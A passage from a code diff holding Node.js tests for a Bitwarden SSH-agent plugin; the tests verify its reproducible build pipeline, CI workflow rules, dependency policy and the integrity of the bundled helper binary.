check(label, actual === expected, `expected ${JSON.stringify(expected)}, got ${JSON.stringify(actual)}`)
|
||||
|
||||
const script = read("scripts/build-agent.sh")
|
||||
const workflow = read(".github/workflows/agent-build.yml")
|
||||
const cargoConfig = read("agent/.cargo/config.toml")
|
||||
const toolchain = read("agent/rust-toolchain.toml")
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// The pinned environment is pinned, and pinned to the same thing everywhere
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const DIGEST_RE = /rust:([0-9.]+)-(\w+)@(sha256:[0-9a-f]{64})/g
|
||||
const scriptPin = /PINNED_IMAGE="rust:([0-9.]+)-(\w+)@(sha256:[0-9a-f]{64})"/.exec(script)
|
||||
check("the build script pins an image by digest", !!scriptPin,
|
||||
"no digest-pinned PINNED_IMAGE; a tag is a moving pointer")
|
||||
|
||||
const workflowPins = [...workflow.matchAll(DIGEST_RE)]
|
||||
check("every workflow job pins its container by digest", workflowPins.length >= 1,
|
||||
"no digest-pinned container image in the workflow")
|
||||
|
||||
if (scriptPin && workflowPins.length) {
|
||||
const unique = new Set(workflowPins.map(m => m[3]))
|
||||
eq("the workflow pins exactly one image digest", unique.size, 1)
|
||||
// Drift between these two is the failure this file mainly exists to catch:
|
||||
// CI would keep passing while the documented local build produced other bytes.
|
||||
check("the script and the workflow pin the same digest",
|
||||
unique.has(scriptPin[3]),
|
||||
`script ${scriptPin[3]} vs workflow ${[...unique].join(", ")}`)
|
||||
}
|
||||
|
||||
// An image referenced anywhere by tag alone defeats the point.
|
||||
const looseTag = /image:\s*rust:[0-9.]+-\w+\s*$/m.test(workflow)
|
||||
check("no workflow image is referenced by tag alone", !looseTag,
|
||||
"a tag-only image reference would drift underneath an unchanged repository")
|
||||
|
||||
// The container's Rust must be the Rust the repository pins.
|
||||
const pinnedChannel = /channel\s*=\s*"([^"]+)"/.exec(toolchain)
|
||||
check("the toolchain file pins an exact channel",
|
||||
!!pinnedChannel && /^\d+\.\d+\.\d+$/.test(pinnedChannel[1]),
|
||||
pinnedChannel ? pinnedChannel[1] : "no channel")
|
||||
if (pinnedChannel && scriptPin) {
|
||||
eq("the pinned image carries the pinned Rust version", scriptPin[1], pinnedChannel[1])
|
||||
}
|
||||
check("CI verifies the container's Rust matches the pin at run time",
|
||||
/rust-toolchain\.toml[\s\S]{0,400}?rustc --version/.test(workflow)
|
||||
|| /pinned="?\$\(grep[\s\S]{0,200}?rust-toolchain\.toml/.test(workflow),
|
||||
"nothing checks the container's Rust against rust-toolchain.toml")
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// The build inputs the design requires
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
check("the build is locked to the committed dependency set",
|
||||
/cargo build[^\n]*--locked/.test(script), "the build does not pass --locked")
|
||||
check("the target is fixed",
|
||||
/SUPPORTED_TARGET="x86_64-unknown-linux-gnu"/.test(script), "no fixed target")
|
||||
check("the source path is remapped out of the binary",
|
||||
/--remap-path-prefix=%s=\/src/.test(script), "the source path is not remapped")
|
||||
check("the registry path is remapped too",
|
||||
/--remap-path-prefix=%s\/registry=\/registry/.test(script),
|
||||
"the registry path is the one that usually leaks, and it is not remapped")
|
||||
check("the release profile strips symbols",
|
||||
/strip\s*=\s*"symbols"/.test(read("agent/Cargo.toml")),
|
||||
"the release profile does not strip")
|
||||
|
||||
// rustc embeds no build timestamp and ignores SOURCE_DATE_EPOCH, so listing it
|
||||
// as the mechanism would be cargo-culting rather than pinning.
|
||||
check("SOURCE_DATE_EPOCH is not claimed as the mechanism",
|
||||
!/SOURCE_DATE_EPOCH=/.test(script), "SOURCE_DATE_EPOCH is set as though it mattered here")
|
||||
|
||||
// A binary tracked by the commit that names it cannot be rebuilt from that
|
||||
// commit -- the SHA would have to be known before it exists.
|
||||
check("no git commit is embedded in the artifact",
|
||||
!/GIT_(COMMIT|SHA)|git rev-parse/.test(script),
|
||||
"embedding the commit makes the artifact circular")
|
||||
|
||||
// An actual assignment, not the comment explaining why there isn't one:
|
||||
// rustflags set here are silently replaced when RUSTFLAGS is in the
|
||||
// environment, which would drop the path remaps without any error.
|
||||
check("the cargo config sets no rustflags for the environment to replace",
|
||||
!/^\s*rustflags\s*=/m.test(cargoConfig),
|
||||
"config.toml assigns rustflags, which RUSTFLAGS in the environment would silently drop")
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// What the script refuses
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const run = (...args) => spawnSync("bash", [path.join(repoRoot, "scripts/build-agent.sh"), ...args],
|
||||
{ encoding: "utf8", env: Object.assign({}, process.env, { PATH: process.env.PATH }) })
|
||||
|
||||
eq("--help succeeds", run("--help").status, 0)
|
||||
eq("an unknown argument is refused", run("--bogus").status, 1)
|
||||
|
||||
const wrongTarget = spawnSync("bash", [path.join(repoRoot, "scripts/build-agent.sh")],
|
||||
{ encoding: "utf8", env: Object.assign({}, process.env, { CARGO_BUILD_TARGET: "aarch64-unknown-linux-gnu" }) })
|
||||
eq("an unsupported target is refused", wrongTarget.status, 1)
|
||||
check("the refusal names the target", /aarch64/.test(wrongTarget.stderr), wrongTarget.stderr.slice(0, 160))
|
||||
|
||||
// The pinned environment is entered, not started: CI runs this script inside
|
||||
// the image, where no container runtime exists. Conflating "am I pinned" with
|
||||
// "can I start a container" made the script refuse in the one place it was
|
||||
// written for, so both halves are pinned down here.
|
||||
check("the script recognises being inside the pinned environment",
|
||||
/in_pinned_environment\(\)/.test(script) && /QSBW_PINNED_BUILD/.test(script),
|
||||
"the script cannot tell it is already in the pinned image")
|
||||
check("the workflow tells the script it is in the pinned environment",
|
||||
/QSBW_PINNED_BUILD:\s*'1'/.test(workflow),
|
||||
"CI runs in the pinned image but never says so")
|
||||
check("a claim of being pinned is verified, not trusted",
|
||||
/rust-toolchain\.toml[\s\S]{0,400}?fail /.test(script) && /debian[\s\S]{0,200}?bookworm/.test(script),
|
||||
"the environment claim is taken on trust")
|
||||
check("a container runtime is used to enter the image, not required to be in it",
|
||||
/reexec_in_container/.test(script),
|
||||
"no path re-executes the build inside the pinned image")
|
||||
|
||||
// Asked through --explain rather than by running it. Invoking
|
||||
// --verify-reproducible here would pull a 700MB image and run two full
|
||||
// release builds just to observe a decision -- which is what this file's
|
||||
// header promises not to do, and what it was doing on any machine with a
|
||||
// container runtime until CI pointed it out.
|
||||
const explain = run("--explain")
|
||||
eq("--explain reports without acting", explain.status, 0)
|
||||
check("--explain names the environment it would build in",
|
||||
/^environment: /m.test(explain.stdout), explain.stdout.slice(0, 200))
|
||||
check("--explain is honest about an unpinned environment",
|
||||
!/not pinned and no container runtime/.test(explain.stdout)
|
||||
|| /would not be reproducible/.test(explain.stdout),
|
||||
explain.stdout.slice(0, 200))
|
||||
check("--explain pulls nothing and builds nothing",
|
||||
explain.stdout.length < 500 && !/Compiling|Unable to find image/.test(explain.stdout + explain.stderr),
|
||||
explain.stdout.slice(0, 200))
|
||||
|
||||
// The refusal text itself is checked in the source, so that asserting it
|
||||
// costs no build anywhere.
|
||||
check("the refusal explains itself rather than failing opaquely",
|
||||
/not in the pinned build environment[\s\S]{0,300}?would not be reproducible/.test(script),
|
||||
"the refusal message does not say why")
|
||||
|
||||
check("an unpinned build is possible but must be asked for",
|
||||
/--allow-unpinned/.test(script) && /not reproducible/.test(script),
|
||||
"no way to build without a container, or no warning that it is not the release artifact")
|
||||
|
||||
// The comparison is only meaningful from inside the pinned image: the tracked
|
||||
// bytes were produced there, and it pins glibc and binutils as well as the
|
||||
// compiler. Run against a host toolchain it reports drift that is not drift --
|
||||
// which, for the mode that exists to be a PR gate, is the worst way to fail.
|
||||
check("--compare-tracked enters the pinned image like every other build mode",
|
||||
/compare_tracked\(\)[\s\S]{0,700}?in_pinned_environment[\s\S]{0,300}?reexec_in_container "\$runtime" --compare-tracked/.test(script),
|
||||
"the drift check builds with whatever toolchain the host happens to have")
|
||||
check("and refuses rather than guessing when it cannot enter one",
|
||||
/compare_tracked\(\)[\s\S]{0,1100}?fail "not in the pinned build environment/.test(script),
|
||||
"an unpinned comparison reports a mismatch it cannot stand behind")
|
||||
|
||||
check("--compare-tracked reports drift without writing to the repository",
|
||||
/compare_tracked\(\)[\s\S]{0,1400}?mktemp -d/.test(script)
|
||||
&& !/compare_tracked\(\)[\s\S]{0,1400}?install -m/.test(script),
|
||||
"the drift check writes into the repository")
|
||||
|
||||
// Every mode must build the same way. They did not: the release build put its
|
||||
// target directory outside the remapped source root while the comparison
|
||||
// modes put it inside, so the bytes CI offered as the candidate differed from
|
||||
// the bytes --verify-reproducible had just declared identical. Committing
|
||||
// those would have made the first --compare-tracked fail, or passed by luck
|
||||
// and shipped a binary nobody could reproduce.
|
||||
check("every build mode goes through one builder",
|
||||
(script.match(/build_clean_copy /g) || []).length >= 3,
|
||||
"the modes do not share a build procedure, so they can diverge again")
|
||||
check("the target directory lives inside the remapped source root",
|
||||
/CARGO_TARGET_DIR="\$src\/target"/.test(script),
|
||||
"a target directory outside the remap embeds an unremapped path in the binary")
|
||||
check("no mode passes its own target directory",
|
||||
!/build_into "[^"]*" "[^"]*"/.test(script),
|
||||
"a per-mode target directory is how the two paths diverged before")
|
||||
|
||||
// The artifact paths and the flag name are what Task 18 and its verification
|
||||
// step refer to. They were wrong once -- a flat bin/ and a --check flag the
|
||||
// task list never mentions -- and the cost of that is only paid later, when
|
||||
// the binary is committed and everything has to be moved.
|
||||
check("the artifact is architecture-scoped",
|
||||
/OUTPUT_ARCH="x86_64-linux"/.test(script) && /OUTPUT_DIR="\$REPO_ROOT\/bin\/\$OUTPUT_ARCH"/.test(script),
|
||||
"a flat bin/ has to be restructured the day a second target appears")
|
||||
check("checksums go to one SHA256SUMS, not a sidecar per binary",
|
||||
/SUMS_FILE="\$REPO_ROOT\/bin\/SHA256SUMS"/.test(script),
|
||||
"no bin/SHA256SUMS")
|
||||
check("the checksum file is written relative to bin/ so sha256sum -c works there",
|
||||
/cd "\$REPO_ROOT\/bin" && sha256sum "\$OUTPUT_ARCH\/\$OUTPUT_NAME"/.test(script),
|
||||
"absolute or checkout-relative paths in SHA256SUMS would only verify here")
|
||||
check("the usage text lists the flags that exist",
|
||||
/--compare-tracked/.test(script.split("USAGE")[1] || "") && !/\[--check\]/.test(script),
|
||||
"usage advertises a flag the script does not accept")
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// CI shape
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
check("CI compares the tracked binary against a clean rebuild",
|
||||
/--compare-tracked/.test(workflow),
|
||||
"nothing verifies that the committed bytes are what this source builds")
|
||||
check("the comparison is skipped only when no binary is tracked",
|
||||
/if \[ ! -f bin\/x86_64-linux\/qs-bitwarden-ssh-agent \]/.test(workflow),
|
||||
"the comparison could pass by absence rather than by matching")
|
||||
// `./scripts/build-agent.sh` with no flags writes bin/ and bin/SHA256SUMS.
|
||||
// Run the comparison after it and the tracked binary it reads back is the
|
||||
// candidate that step just wrote -- so it compares a build with itself and
|
||||
// passes whatever the committed bytes are. That is not hypothetical: it is
|
||||
// what this workflow did until a stale binary sailed through a green run.
|
||||
const compareAt = workflow.indexOf("name: Compare the tracked binary")
|
||||
const candidateAt = workflow.indexOf("name: Build the candidate artifact")
|
||||
check("the comparison runs before anything overwrites bin/",
|
||||
compareAt > 0 && candidateAt > 0 && compareAt < candidateAt,
|
||||
`compare step at ${compareAt}, candidate build at ${candidateAt}`)
|
||||
// A drifted binary is when the candidate matters most, so the upload has to
|
||||
// happen before the job gives up on the run.
|
||||
check("a drifted binary still uploads the candidate that fixes it",
|
||||
workflow.indexOf("name: Upload the candidate") < workflow.indexOf("name: Fail if the tracked binary drifted"),
|
||||
"the job fails before the bytes a maintainer needs are available")
|
||||
check("drift is still fatal on a same-repository run",
|
||||
/steps\.compare\.outputs\.drift == 'yes'/.test(workflow)
|
||||
&& /github\.event\.pull_request\.head\.repo\.fork != true/.test(workflow),
|
||||
"recording drift replaced failing on it")
|
||||
|
||||
// These gates ran on neither the branch nor the files that needed them: the
|
||||
// trigger still named the SSH agent's feature branch after that work reached
|
||||
// master, and a paths filter of agent/** kept the panel -- Panel.qml,
|
||||
// BitwardenModel.js, tests/ -- entirely outside the workflow. PR #13 merged
|
||||
// with `no checks reported`.
|
||||
//
|
||||
// This used to require master on both triggers. It no longer does, and the
|
||||
// guarantee it was protecting has not been given up -- it moved. Work reaches
|
||||
// master only by merging a release branch, and master's protection requires
|
||||
// that branch to be up to date first, so the tree master ends up with is the
|
||||
// tree these gates already passed on the release branch at the commit they
|
||||
// passed on. Re-running on the master push would check the same tree twice.
|
||||
//
|
||||
// So what has to be true is that the release branches really are gated, which
|
||||
// the next check asserts, and that master is not silently left with nothing at
|
||||
// all -- it gets publish-on-master.yml, asserted below. Master being absent
|
||||
// from these triggers is deliberate and is pinned here so that reintroducing
|
||||
// it is a decision rather than a reflex.
|
||||
check("master is deliberately not gated here; the release branch it comes from is",
|
||||
!/push:\s*\n\s*branches:\s*\[[^\]]*master/.test(workflow)
|
||||
&& !/pull_request:\s*\n\s*branches:\s*\[[^\]]*master/.test(workflow),
|
||||
"master is back in these triggers -- if that is intended, this check and the "
|
||||
+ "trigger comment both need updating, because it means the same tree is checked twice")
|
||||
// A release is assembled on a release branch before it is tagged, so the same
|
||||
// gates have to cover it. Listing master alone let a PR into `release/1.7.0`
|
||||
// merge with `no checks reported` -- PR #13's hole reached through the base
|
||||
// branch instead of through a paths filter.
|
||||
check("CI runs against release branches too, where a release is assembled",
|
||||
/push:\s*\n\s*branches:\s*\[[^\]]*'release\/\*\*'/.test(workflow)
|
||||
&& /pull_request:\s*\n\s*branches:\s*\[[^\]]*'release\/\*\*'/.test(workflow),
|
||||
"the workflow does not run on release-branch pushes and PRs into them")
|
||||
// Master is not unwatched, it just has exactly one job. A release is built,
|
||||
// verified and attested on its release branch and left as a draft; reaching
|
||||
// master is what publishes it. If that workflow ever starts building or
|
||||
// testing, the reason master was taken off the gates above stops holding.
|
||||
const publish = read(".github/workflows/publish-on-master.yml")
|
||||
check("something does run on a master push, and it is the publish",
|
||||
/push:\s*\n\s*branches:\s*\[master\]/.test(publish),
|
||||
"nothing runs on master at all now")
|
||||
check("the publish only publishes -- it does not build or test",
|
||||
!/cargo (build|test|clippy)|npm |node |qmltestrunner|build-agent\.sh/.test(publish),
|
||||
"the master workflow has grown work that belongs on the release branch")
|
||||
check("the publish is the only thing granted write access",
|
||||
/permissions:\s*\n\s*contents:\s*write/.test(publish)
|
||||
&& /permissions:\s*\n\s*contents:\s*read/.test(workflow),
|
||||
"write access is not where it was expected")
|
||||
// Publishing from the tag announced a version before master contained it.
|
||||
check("the tag build leaves the release as a draft for master to publish",
|
||||
/gh release create "\$TAG"[^\n]*--draft/.test(read(".github/workflows/release.yml")),
|
||||
"release.yml publishes at tag time again, so master's merge is no longer what releases")
|
||||
|
||||
check("no paths filter decides which changes are checked",
|
||||
!/^\s*paths:/m.test(workflow),
|
||||
"a paths filter is how the panel went unchecked; these gates are cheap enough to always run")
|
||||
check("the workflow is read-only",
|
||||
/permissions:\s*\n\s*contents:\s*read/.test(workflow), "the workflow requests more than read access")
|
||||
// A tag is a moving pointer. Pinning actions by commit is the same argument
|
||||
// as pinning the build image by digest, applied to the code that runs the
|
||||
// build -- and a workflow that establishes trust in bytes should not itself
|
||||
// depend on a mutable reference.
|
||||
const actionUses = [...workflow.matchAll(/uses:\s*([^\s@]+)@(\S+)/g)]
|
||||
check("every third-party action is used at least once", actionUses.length > 0, "no actions used")
|
||||
check("every action is pinned to a full commit SHA",
|
||||
actionUses.every(([, , ref]) => /^[0-9a-f]{40}$/.test(ref)),
|
||||
actionUses.filter(([, , ref]) => !/^[0-9a-f]{40}$/.test(ref)).map(m => m[0]).join(", "))
|
||||
check("each pin says which release it is, for a human",
|
||||
(workflow.match(/@[0-9a-f]{40} # v\d/g) || []).length === actionUses.length,
|
||||
"a bare SHA tells a reviewer nothing about what version it is")
|
||||
|
||||
// The dependency tree of a key-holding binary was reviewed once in writing;
|
||||
// this is what stops that review going stale.
|
||||
const deny = read("deny.toml")
|
||||
check("CI enforces the dependency policy", /cargo deny/.test(workflow), "nothing runs cargo-deny")
|
||||
// cargo-deny discovers its config beside the manifest or in the working
|
||||
// directory. Running it from agent/ made it fall back to built-in defaults
|
||||
// and report success while reading none of this policy.
|
||||
check("the policy file is named explicitly rather than discovered",
|
||||
/cargo deny[^\n]*--config deny\.toml/.test(workflow),
|
||||
"a discovered config can silently be the wrong one, or none at all")
|
||||
// apt answers a failed index with a warning and exit 0. That is how a 502
|
||||
// from the archive passed `apt-get update` and came back four minutes later
|
||||
// as `Unable to locate package` on six Qt packages -- the wrong error, in the
|
||||
// wrong step, about the wrong thing. Error-Mode=any is what makes a mirror
|
||||
// outage report itself as one.
|
||||
check("a failed package index fails the step that fetched it",
|
||||
/apt-get update[^\n]*APT::Update::Error-Mode=any/.test(workflow),
|
||||
"apt warns and exits 0 on a failed index, so the real error surfaces later and misattributed")
|
||||
check("apt packages are not pinned by version string",
|
||||
!/apt-get install[^\n]*=[0-9]/.test(workflow),
|
||||
"hard version pins break when Ubuntu drops the superseded package")
|
||||
check("advisories are denied rather than warned about",
|
||||
/yanked = "deny"/.test(deny), "yanked crates are tolerated")
|
||||
check("the one accepted advisory says why and where it is argued",
|
||||
/RUSTSEC-2023-0071[\s\S]{0,400}?0001-ssh-agent-dependencies/.test(deny),
|
||||
"an ignored advisory with no recorded reasoning is just a silenced alarm")
|
||||
check("only permissive licences are allowed",
|
||||
/allow = \[[\s\S]*?"MIT"/.test(deny) && !/GPL/.test(deny.split("[bans]")[0]),
|
||||
"a copyleft dependency would change this plugin's own distribution terms")
|
||||
check("only crates.io is permitted as a source",
|
||||
/unknown-git = "deny"/.test(deny) && /unknown-registry = "deny"/.test(deny),
|
||||
"a git dependency is a moving target no lockfile review covers")
|
||||
|
||||
// The panel's JavaScript runs in QML's engine, not Node's, and they differ.
|
||||
check("the QML tests run in CI",
|
||||
/qmltestrunner/.test(workflow), "the QML suite passes locally and never runs in CI")
|
||||
// --no-install-recommends drops what QtQuick only recommends, and
|
||||
// QtQml.WorkerScript is one of them: importing QtQuick then fails with a
|
||||
// module-not-installed error that reads like a broken test.
|
||||
check("every QML module the tests import is installed explicitly",
|
||||
/qml6-module-qtqml-workerscript/.test(workflow),
|
||||
"QtQuick's recommended modules are dropped by --no-install-recommends")
|
||||
// One QML test imports the Omarchy shell by absolute path, which a runner
|
||||
// does not have. Skipping it is right; skipping it silently, or skipping
|
||||
// everything and reporting success, is not.
|
||||
check("a QML test is skipped only for a stated, detected reason",
|
||||
/\[ ! -d \/usr\/share\/omarchy\/shell\/Ui \]/.test(workflow),
|
||||
"the skip is unconditional rather than tied to the missing dependency")
|
||||
check("the skipped files are named in the log",
|
||||
/::notice::Omarchy shell not installed; skipped/.test(workflow),
|
||||
"a silent skip looks identical to a passing test")
|
||||
check("skipping every QML test fails the job",
|
||||
/every QML test was skipped, so this gate proved nothing/.test(workflow),
|
||||
"the gate could pass by running nothing at all")
|
||||
|
||||
// A fork cannot push CI's bytes into its own branch, so an unconditional
|
||||
// match requirement would make every external agent-source PR unmergeable.
|
||||
check("a fork pull request reports binary drift rather than blocking on it",
|
||||
/IS_FORK/.test(workflow) && /fork/.test(workflow),
|
||||
"a fork contributor could never satisfy the binary comparison")
|
||||
check("a same-repository run still fails on drift",
|
||||
/::error::the tracked binary does not match/.test(workflow),
|
||||
"drift is never fatal, so the comparison decides nothing")
|
||||
|
||||
check("dependency updates are told the binary must be rebuilt",
|
||||
/needs-binary-rebuild/.test(read(".github/dependabot.yml")),
|
||||
"an accepted dependency bump would fail --compare-tracked with no explanation")
|
||||
|
||||
check("no secrets are referenced",
|
||||
!/secrets\./.test(workflow), "a build gate should need no secrets")
|
||||
check("the panel tests get the tools they shell out to",
|
||||
/jq/.test(workflow) && /openssh-client/.test(workflow),
|
||||
"the pipeline and signing tests would fail without jq and ssh-keygen")
|
||||
|
||||
if (failures.length) {
|
||||
console.error(`\n${failures.length} failed, ${pass} passed\n`)
|
||||
failures.forEach(f => console.error(` FAIL ${f}`))
|
||||
process.exit(1)
|
||||
}
|
||||
console.log(`ssh-agent-artifact: ${pass} passed`)
|
||||
@@ -0,0 +1,228 @@
|
||||
#!/usr/bin/env node
|
||||
// The plugin ships a compiled helper, so the panel checks it before trusting
|
||||
// it: that it exists, is executable, is the right architecture, matches its
|
||||
// recorded checksum, passes its own self-test, and speaks the protocol this
|
||||
// panel does. Every one of those can fail on a real machine -- a partial
|
||||
// clone, an LFS placeholder, a stale artifact after `git pull`, a helper from
|
||||
// a newer plugin version -- and each must disable only this optional feature.
|
||||
//
|
||||
// Be clear about what the checksum is for. bin/SHA256SUMS sits beside the
|
||||
// binary and beside the QML that reads it, so anyone able to replace one can
|
||||
// replace the others. It is not tamper detection. It catches corruption,
|
||||
// truncation, and staleness, which are the failures that actually happen.
|
||||
//
|
||||
// node tests/ssh-agent-bundle.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const os = require("os")
|
||||
const path = require("path")
|
||||
const { spawnSync } = require("child_process")
|
||||
|
||||
const repoRoot = path.join(__dirname, "..")
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(repoRoot, "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.sshAgentBundledRelative = sshAgentBundledRelative
|
||||
exports.sshAgentDevelopmentRelative = sshAgentDevelopmentRelative
|
||||
exports.sshAgentHelperCandidates = sshAgentHelperCandidates
|
||||
exports.sshAgentHelperInspectCommand = sshAgentHelperInspectCommand
|
||||
exports.parseSshAgentHelperInspection = parseSshAgentHelperInspection
|
||||
exports.sshAgentHelperReady = sshAgentHelperReady
|
||||
exports.sshAgentHelperSourceLabel = sshAgentHelperSourceLabel
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
|
||||
const eq = (label, actual, expected) =>
|
||||
check(label, actual === expected, `expected ${JSON.stringify(expected)}, got ${JSON.stringify(actual)}`)
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// The shipped artifact is really in the repository
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const bundled = path.join(repoRoot, "bin", "x86_64-linux", "qs-bitwarden-ssh-agent")
|
||||
const sums = path.join(repoRoot, "bin", "SHA256SUMS")
|
||||
|
||||
check("the helper is tracked in the repository", fs.existsSync(bundled), bundled)
|
||||
check("its checksum is tracked beside it", fs.existsSync(sums), sums)
|
||||
check("it is executable", fs.existsSync(bundled) && (fs.statSync(bundled).mode & 0o111) !== 0,
|
||||
"the shipped helper is not executable, so a fresh clone cannot run it")
|
||||
check("it is not a Git LFS placeholder",
|
||||
fs.existsSync(bundled) && !/git-lfs/.test(fs.readFileSync(bundled).subarray(0, 200).toString("latin1")),
|
||||
"an LFS smudge would leave a text pointer where the binary should be")
|
||||
check("it is a real ELF binary",
|
||||
fs.existsSync(bundled) && fs.readFileSync(bundled).subarray(0, 4).toString("latin1") === "\x7fELF",
|
||||
"no ELF magic")
|
||||
|
||||
const recorded = fs.existsSync(sums) ? fs.readFileSync(sums, "utf8").trim() : ""
|
||||
check("the checksum file records a path relative to bin/",
|
||||
/^[0-9a-f]{64}\s+x86_64-linux\/qs-bitwarden-ssh-agent$/.test(recorded),
|
||||
recorded)
|
||||
if (fs.existsSync(bundled) && recorded) {
|
||||
const actual = spawnSync("sha256sum", [bundled], { encoding: "utf8" }).stdout.split(" ")[0]
|
||||
eq("the tracked binary matches its tracked checksum", actual, recorded.split(/\s+/)[0])
|
||||
}
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Which helper the panel picks
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
eq("the bundled path is architecture-scoped",
|
||||
Model.sshAgentBundledRelative(), "bin/x86_64-linux/qs-bitwarden-ssh-agent")
|
||||
eq("the development path is cargo's debug output",
|
||||
Model.sshAgentDevelopmentRelative(), "agent/target/debug/qs-bitwarden-ssh-agent")
|
||||
|
||||
const candidates = Model.sshAgentHelperCandidates("/opt/bw")
|
||||
eq("both candidates are offered", candidates.length, 2)
|
||||
eq("the shipped helper is preferred", candidates[0].path, "/opt/bw/bin/x86_64-linux/qs-bitwarden-ssh-agent")
|
||||
eq("the development build is the fallback", candidates[1].path, "/opt/bw/agent/target/debug/qs-bitwarden-ssh-agent")
|
||||
eq("the preferred one is labelled", candidates[0].source, "bundled")
|
||||
eq("the fallback is labelled", candidates[1].source, "development")
|
||||
check("every candidate path is absolute",
|
||||
candidates.every(c => c.path.charAt(0) === "/"), JSON.stringify(candidates))
|
||||
eq("no plugin directory yields no candidates", Model.sshAgentHelperCandidates("").length, 0)
|
||||
eq("a traversing plugin directory yields no candidates",
|
||||
Model.sshAgentHelperCandidates("/opt/../etc").length, 0)
|
||||
|
||||
// A development build being present must not hide a broken shipped one from
|
||||
// the diagnostics, but it should still let the panel run.
|
||||
check("the source in use is nameable",
|
||||
Model.sshAgentHelperSourceLabel("bundled").length > 0
|
||||
&& Model.sshAgentHelperSourceLabel("development").length > 0,
|
||||
"a user cannot tell which helper is running")
|
||||
check("the development label says it is not the shipped artifact",
|
||||
/develop|local|built/i.test(Model.sshAgentHelperSourceLabel("development")),
|
||||
Model.sshAgentHelperSourceLabel("development"))
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// The inspection, run against real files
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
function inTemp(fn) {
|
||||
const dir = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-bundle-"))
|
||||
try { return fn(dir) } finally { fs.rmSync(dir, { recursive: true, force: true }) }
|
||||
}
|
||||
const inspect = (pluginDir) => {
|
||||
const cmd = Model.sshAgentHelperInspectCommand(pluginDir)
|
||||
const run = spawnSync(cmd[0], cmd.slice(1), { encoding: "utf8", env: { PATH: "/usr/bin:/bin" } })
|
||||
return Model.parseSshAgentHelperInspection(run.stdout)
|
||||
}
|
||||
|
||||
// The real repository: a tracked helper that should pass every check.
|
||||
{
|
||||
const result = inspect(repoRoot)
|
||||
eq("the shipped helper is usable", result.state, "ok")
|
||||
eq("and is identified as the bundled one", result.source, "bundled")
|
||||
check("its version is reported", /^\d+\.\d+\.\d+$/.test(result.version), result.version)
|
||||
eq("its protocol version is reported", result.protocol, 1)
|
||||
eq("its checksum is confirmed", result.checksum, "match")
|
||||
eq("its self-test passed", result.selfTest, "pass")
|
||||
eq("the panel would enable the feature", Model.sshAgentHelperReady(result), true)
|
||||
}
|
||||
|
||||
// Nothing there at all.
|
||||
inTemp(dir => {
|
||||
const result = inspect(dir)
|
||||
eq("a missing helper is reported", result.state, "missing")
|
||||
eq("and the feature stays off", Model.sshAgentHelperReady(result), false)
|
||||
check("the message says what to do", /build|install|clone/i.test(result.message), result.message)
|
||||
})
|
||||
|
||||
// Present but not executable -- a clone from an archive that dropped modes.
|
||||
inTemp(dir => {
|
||||
const target = path.join(dir, "bin", "x86_64-linux")
|
||||
fs.mkdirSync(target, { recursive: true })
|
||||
fs.copyFileSync(bundled, path.join(target, "qs-bitwarden-ssh-agent"))
|
||||
fs.chmodSync(path.join(target, "qs-bitwarden-ssh-agent"), 0o644)
|
||||
fs.mkdirSync(path.join(dir, "bin"), { recursive: true })
|
||||
fs.copyFileSync(sums, path.join(dir, "bin", "SHA256SUMS"))
|
||||
const result = inspect(dir)
|
||||
eq("a non-executable helper is reported", result.state, "not-executable")
|
||||
eq("and the feature stays off", Model.sshAgentHelperReady(result), false)
|
||||
})
|
||||
|
||||
// Corrupt or truncated -- a partial clone, or an interrupted download.
|
||||
inTemp(dir => {
|
||||
const target = path.join(dir, "bin", "x86_64-linux")
|
||||
fs.mkdirSync(target, { recursive: true })
|
||||
const copy = path.join(target, "qs-bitwarden-ssh-agent")
|
||||
fs.copyFileSync(bundled, copy)
|
||||
fs.truncateSync(copy, 4096)
|
||||
fs.chmodSync(copy, 0o755)
|
||||
fs.copyFileSync(sums, path.join(dir, "bin", "SHA256SUMS"))
|
||||
const result = inspect(dir)
|
||||
check("a truncated helper is refused", result.state !== "ok", JSON.stringify(result))
|
||||
eq("the checksum is what catches it", result.checksum, "mismatch")
|
||||
eq("and the feature stays off", Model.sshAgentHelperReady(result), false)
|
||||
check("the message names staleness or corruption",
|
||||
/stale|corrupt|match|update/i.test(result.message), result.message)
|
||||
})
|
||||
|
||||
// A Git LFS placeholder where the binary should be.
|
||||
inTemp(dir => {
|
||||
const target = path.join(dir, "bin", "x86_64-linux")
|
||||
fs.mkdirSync(target, { recursive: true })
|
||||
fs.writeFileSync(path.join(target, "qs-bitwarden-ssh-agent"),
|
||||
"version https://git-lfs.github.com/spec/v1\noid sha256:deadbeef\nsize 1210560\n", { mode: 0o755 })
|
||||
fs.copyFileSync(sums, path.join(dir, "bin", "SHA256SUMS"))
|
||||
const result = inspect(dir)
|
||||
check("an LFS placeholder is refused", result.state !== "ok", JSON.stringify(result))
|
||||
eq("and the feature stays off", Model.sshAgentHelperReady(result), false)
|
||||
})
|
||||
|
||||
// A development build with no shipped artifact: the dev loop must keep working.
|
||||
inTemp(dir => {
|
||||
const target = path.join(dir, "agent", "target", "debug")
|
||||
fs.mkdirSync(target, { recursive: true })
|
||||
fs.copyFileSync(bundled, path.join(target, "qs-bitwarden-ssh-agent"))
|
||||
fs.chmodSync(path.join(target, "qs-bitwarden-ssh-agent"), 0o755)
|
||||
const result = inspect(dir)
|
||||
eq("a development build is usable", result.state, "ok")
|
||||
eq("and is identified as such", result.source, "development")
|
||||
